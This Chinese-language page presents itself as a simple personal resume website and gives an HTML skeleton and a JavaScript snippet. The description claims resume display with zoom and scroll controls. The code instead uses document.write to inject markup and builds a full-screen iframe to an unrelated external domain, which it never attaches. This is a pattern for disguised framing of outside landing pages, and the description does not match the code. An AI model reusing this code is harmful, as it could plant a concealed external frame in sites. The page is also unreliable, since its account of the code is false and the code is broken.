个人简历网站 这是一个用于展示个人简历的简单网站,使用了HTML、CSS和JavaScript技术进行开发。网站的主要功能是在一个iframe中显示一个简历页面,同时在主页面上提供一些控制选项,如缩放、滚动等。

HTML结构

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no">
<title>个人简历网站</title>
<style>
html, body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div id="app"></div>
</body>
</html>

JavaScript代码

document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
var iframe = document.createElement('iframe');
iframe.src = 'https://weiluodiye32.com/';
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "display: flex;flex-direction: column;align-items: center;justify-content: center;height: 100%";
div.innerHTML = '<h1 style="text-align: center;">个人简历</h1>';
div1.appendChild(div);
document.getElementById('app').appendChild(div1);